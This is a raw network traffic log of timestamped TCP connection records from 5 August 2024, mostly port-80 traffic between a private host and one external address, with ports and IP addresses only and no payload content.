Aug 5, 2024 12:01:20.024707079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024708986 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.024733067 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.171358109 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.267549038 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.267666101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.267718077 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.267784119 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.267894983 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.267908096 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.267939091 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.268090010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268102884 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268140078 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.268424988 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268436909 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268475056 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.268527031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268570900 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.268595934 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268701077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.268748999 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.268791914 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269459009 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269469976 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269480944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269505978 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.269512892 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269524097 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269529104 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.269539118 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269551039 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269565105 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.269591093 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.269645929 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269656897 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269666910 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269676924 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269689083 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269690990 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.269701958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.269716024 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.269732952 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.270297050 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270308018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270318985 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270329952 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270339966 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270344973 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.270353079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270359993 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.270366907 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270395994 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.270852089 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.270895958 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558080912 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558120012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558139086 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558151960 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558162928 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558185101 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558228016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558367968 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558379889 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558392048 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558408022 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558430910 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558583021 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558701992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558715105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558725119 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558736086 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558744907 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558746099 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.558759928 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.558789015 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.559262037 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559273958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559284925 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559297085 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559309006 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559314013 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.559320927 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559340000 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.559370995 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.559683084 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559798956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559812069 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.559843063 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560019970 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560031891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560043097 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560054064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560065031 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560084105 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560399055 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560410023 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560420036 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560435057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560457945 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560457945 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560749054 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560791016 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560806036 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560820103 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560830116 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560842037 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.560853958 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.560885906 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.561279058 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.561290979 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.561302900 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.561342001 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.715903997 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.785392046 CEST	49709	80	192.168.2.7	69.42.215.252
Aug 5, 2024 12:01:20.794464111 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:01:20.794503927 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:20.794545889 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:01:20.794599056 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:20.887505054 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887531996 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887543917 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887623072 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.887736082 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887748957 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887758970 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887770891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.887797117 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.887814999 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.888077974 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888149977 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888161898 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888171911 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888183117 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888194084 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888197899 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.888212919 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.888647079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888730049 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888741016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888751984 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888762951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888772011 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.888772964 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888784885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.888818979 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.888843060 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.889394999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889406919 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889417887 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889429092 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889440060 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889451027 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889463902 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.889491081 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.889916897 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.889928102 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890001059 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.890013933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890026093 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890036106 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890048027 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890058041 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890063047 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.890072107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890081882 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.890083075 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890094995 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890115976 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.890142918 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.890914917 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890928984 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890939951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890952110 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890960932 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.890975952 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.890984058 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.079544067 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.219964027 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220004082 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220015049 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220155954 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220206976 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220217943 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220228910 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220263004 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220284939 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220443964 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220454931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220465899 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220499039 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220757008 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220767975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220808029 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220897913 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220907927 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220922947 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220933914 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220943928 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220949888 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220954895 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.220976114 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.220987082 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.221436024 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221447945 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221482038 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.221622944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221633911 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221643925 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221653938 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221664906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.221666098 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.221692085 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.221718073 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.222103119 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222114086 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222125053 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222130060 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222141027 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222151041 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222161055 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222162008 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.222172976 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222187042 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.222227097 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.222862005 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222872972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222883940 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222893000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222903967 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.222907066 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.222923994 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.223346949 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223357916 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223367929 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223381042 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223390102 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223392963 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.223401070 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223412991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.223421097 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.223433971 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.223453045 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.306689978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.470158100 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.533845901 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534086943 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534097910 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534173965 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534184933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534195900 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534202099 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534205914 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.534260035 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.534558058 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534569025 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534580946 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534593105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534601927 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.534636974 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.534945965 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534956932 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534969091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534974098 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534984112 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.534989119 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.535021067 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.535514116 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535526037 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535536051 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535547018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535557032 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535567045 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535567999 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.535578012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535584927 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.535589933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535600901 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535602093 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.535613060 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.535634995 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.535662889 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.536405087 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536420107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536431074 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536442041 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536453009 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536463022 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536473989 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536478996 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.536497116 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536501884 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.536509991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536520958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.536544085 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.536569118 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.537297010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537307978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537317991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537328959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537338018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537348986 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537348986 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.537375927 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.537393093 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.537847996 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537859917 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537869930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537880898 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537892103 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537902117 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537904024 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.537914991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537925005 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.537935972 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.537954092 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.810739040 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.810779095 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.810796022 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.810905933 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.810956955 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.810969114 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.810980082 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.810992002 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811007023 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811028957 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811218023 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811234951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811248064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811275959 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811290026 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811506033 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811517954 CEST	80	49893	27.221.16.149	192.168.2.7
